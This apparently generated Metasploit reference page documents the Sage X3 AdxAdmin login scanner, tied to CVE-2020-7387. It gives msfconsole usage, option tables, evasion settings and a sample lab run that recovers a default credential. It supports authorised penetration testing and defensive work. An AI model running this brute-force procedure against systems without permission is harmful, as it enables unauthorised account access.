Sage X3 AdxAdmin Login Scanner - Metasploit

This page contains detailed information about how to use the auxiliary/scanner/sage/x3_adxsrv_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

Name: Sage X3 AdxAdmin Login Scanner
Module: auxiliary/scanner/sage/x3_adxsrv_login
Source code: modules/auxiliary/scanner/sage/x3_adxsrv_login.rb
Disclosure date: -
Last modification time: 2021-08-31 17:10:07 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 1818
List of CVEs: CVE-2020-7387

This module allows an attacker to perform a password guessing attack against the Sage X3 AdxAdmin service, which in turn can be used to authenticate to a local Windows account. This module implements the X3Crypt function to 'encrypt' any passwords to be used during the authentication process, given a plaintext password.

Module Ranking and Traits

Module Ranking:

normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/sage/x3_adxsrv_login
msf auxiliary(x3_adxsrv_login) > show options
    ... show and set options ...
msf auxiliary(x3_adxsrv_login) > set RHOSTS ip-range
msf auxiliary(x3_adxsrv_login) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(x3_adxsrv_login) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(x3_adxsrv_login) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(x3_adxsrv_login) > set RHOSTS file:/tmp/ip_list.txt

Required Options

RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

Description

This module allows an attacker to perform a password guessing attack against the Sage X3 AdxAdmin service, which in turn can be used to authenticate to a local Windows account.

This module implements the X3Crypt function to 'encrypt' any passwords to be used during the authentication process, given a plaintext password.

Setup

Not available.

Verification Steps

Follow Setup and Scenarios.

Scenarios

Sage X3 on Windows Server 2016

msf6 > use auxiliary/scanner/sage/x3_adxsrv_login
msf6 auxiliary(scanner/sage/x3_adxsrv_login) > options

Module options (auxiliary/scanner/sage/x3_adxsrv_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD          s@ge2020         no        Plaintext password with which to authenticate
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
   RPORT             1818             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          x3admin          no        User with which to authenticate to the AdxAdmin service
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

msf6 auxiliary(scanner/sage/x3_adxsrv_login) > set rhosts 172.16.57.6
rhosts => 172.16.57.6
msf6 auxiliary(scanner/sage/x3_adxsrv_login) > set rport 50000
rport => 50000
msf6 auxiliary(scanner/sage/x3_adxsrv_login) > run

[+] 172.16.57.6:50000 - 172.16.57.6:50000 - Success: 'x3admin:s@ge2020'
[*] 172.16.57.6:50000 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/sage/x3_adxsrv_login) >

Go back to menu.

Msfconsole Usage

Here is how the scanner/sage/x3_adxsrv_login auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/sage/x3_adxsrv_login

msf6 auxiliary(scanner/sage/x3_adxsrv_login) > show info

       Name: Sage X3 AdxAdmin Login Scanner
     Module: auxiliary/scanner/sage/x3_adxsrv_login
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Jonathan Peterson <[email protected]>

Check supported:
  No

Basic options:
  Name              Current Setting  Required  Description
  ----              ---------------  --------  -----------
  BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false            no        Add all passwords in the current database to the list
  DB_ALL_USERS      false            no        Add all users in the current database to the list
  PASSWORD          s@ge2020         no        Plaintext password with which to authenticate
  PASS_FILE                          no        File containing passwords, one per line
  RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT             1818             yes       The target port (TCP)
  STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
  THREADS           1                yes       The number of concurrent threads (max one per host)
  USERNAME          x3admin          no        User with which to authenticate to the AdxAdmin service
  USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false            no        Try the username as the password for all users
  USER_FILE                          no        File containing usernames, one per line
  VERBOSE           true             yes       Whether to print output for all attempts

Description:
  This module allows an attacker to perform a password guessing attack 
  against the Sage X3 AdxAdmin service, which in turn can be used to 
  authenticate to a local Windows account. This module implements the 
  X3Crypt function to 'encrypt' any passwords to be used during the 
  authentication process, given a plaintext password.

References:
  https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/

Module Options

This is a complete list of options available in the scanner/sage/x3_adxsrv_login auxiliary module:

msf6 auxiliary(scanner/sage/x3_adxsrv_login) > show options

Module options (auxiliary/scanner/sage/x3_adxsrv_login):

   Name              Current Setting  Required  Description
   ----              ---------------  --------  -----------
   BRUTEFORCE_SPEED  5                yes       How fast to bruteforce, from 0 to 5
   DB_ALL_CREDS      false            no        Try each user/password couple stored in the current database
   DB_ALL_PASS       false            no        Add all passwords in the current database to the list
   DB_ALL_USERS      false            no        Add all users in the current database to the list
   PASSWORD          s@ge2020         no        Plaintext password with which to authenticate
   PASS_FILE                          no        File containing passwords, one per line
   RHOSTS                             yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT             1818             yes       The target port (TCP)
   STOP_ON_SUCCESS   false            yes       Stop guessing when a credential works for a host
   THREADS           1                yes       The number of concurrent threads (max one per host)
   USERNAME          x3admin          no        User with which to authenticate to the AdxAdmin service
   USERPASS_FILE                      no        File containing users and passwords separated by space, one pair per line
   USER_AS_PASS      false            no        Try the username as the password for all users
   USER_FILE                          no        File containing usernames, one per line
   VERBOSE           true             yes       Whether to print output for all attempts

Advanced Options

Here is a complete list of advanced options supported by the scanner/sage/x3_adxsrv_login auxiliary module:

msf6 auxiliary(scanner/sage/x3_adxsrv_login) > show advanced

Module advanced options (auxiliary/scanner/sage/x3_adxsrv_login):

   Name                  Current Setting  Required  Description
   ----                  ---------------  --------  -----------
   CHOST                                  no        The local client address
   CPORT                                  no        The local client port
   ConnectTimeout        10               yes       Maximum number of seconds to establish a TCP connection
   MaxGuessesPerService  0                no        Maximum number of credentials to try per service instance. If set to zero or a non-number, this option will not be used.
   MaxGuessesPerUser     0                no        Maximum guesses for a particular username for the service instance. Note that users are considered unique among different services, so a user at 10.1.1.1:22 is different from one at 10.2.2.2:
                                                    22, and both will be tried up to the MaxGuessesPerUser limit. If set to zero or a non-number, this option will not be used.
   MaxMinutesPerService  0                no        Maximum time in minutes to bruteforce the service instance. If set to zero or a non-number, this option will not be used.
   Proxies                                no        A proxy chain of format type:host:port[,type:host:port][...]
   REMOVE_PASS_FILE      false            yes       Automatically delete the PASS_FILE on module completion
   REMOVE_USERPASS_FILE  false            yes       Automatically delete the USERPASS_FILE on module completion
   REMOVE_USER_FILE      false            yes       Automatically delete the USER_FILE on module completion
   SSL                   false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                              no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode         PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion            Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress          true             yes       Display progress messages during a scan
   ShowProgressPercent   10               yes       The interval in percent that progress should be shown
   TRANSITION_DELAY      0                no        Amount of time (in minutes) to delay before transitioning to the next user in the array (or password when PASSWORD_SPRAY=true)
   WORKSPACE                              no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/sage/x3_adxsrv_login module can do:

msf6 auxiliary(scanner/sage/x3_adxsrv_login) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/sage/x3_adxsrv_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/sage/x3_adxsrv_login) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Could not connect: <RESULT.PROOF>
Failed: '<RESULT.CREDENTIAL>'

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not connect: <RESULT.PROOF>

Here is a relevant code snippet related to the "Could not connect: <RESULT.PROOF>" error message:

76:	        credential_core = create_credential(credential_data)
77:	        credential_data[:core] = credential_core
78:	        create_credential_login(credential_data)
79:	        next
80:	      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
81:	        vprint_brute(level: :verror, ip: ip, msg: "Could not connect: #{result.proof}")
82:	      when Metasploit::Model::Login::Status::INCORRECT
83:	        vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
84:	      end
85:	
86:	      invalidate_login(credential_data)

Failed: '<RESULT.CREDENTIAL>'

Here is a relevant code snippet related to the "Failed: '<RESULT.CREDENTIAL>'" error message:

78:	        create_credential_login(credential_data)
79:	        next
80:	      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
81:	        vprint_brute(level: :verror, ip: ip, msg: "Could not connect: #{result.proof}")
82:	      when Metasploit::Model::Login::Status::INCORRECT
83:	        vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
84:	      end
85:	
86:	      invalidate_login(credential_data)
87:	    end
88:	  end

Go back to menu.

#15400 Merged Pull Request: added Sage X3 modules

References

Authors

Jonathan Peterson <deadjakk[at]shell.rip>

Version

This page has been produced using Metasploit Framework version 6.2.1-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.

Sage X3 AdxAdmin Login Scanner - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Description

Setup

Verification Steps

Scenarios

Sage X3 on Windows Server 2016

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

Could not connect: <RESULT.PROOF>

Failed: '<RESULT.CREDENTIAL>'

References

See Also

Authors

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)

Sage X3 AdxAdmin Login Scanner - Metasploit

Module Overview

Module Ranking and Traits

Basic Usage

Required Options

Knowledge Base

Vulnerable Application

Description

Setup

Verification Steps

Scenarios

Sage X3 on Windows Server 2016

Msfconsole Usage

Module Options

Advanced Options

Auxiliary Actions

Evasion Options

Error Messages

Could not connect: <RESULT.PROOF>

Failed: '<RESULT.CREDENTIAL>'

Related Pull Requests

References

See Also

Authors

Version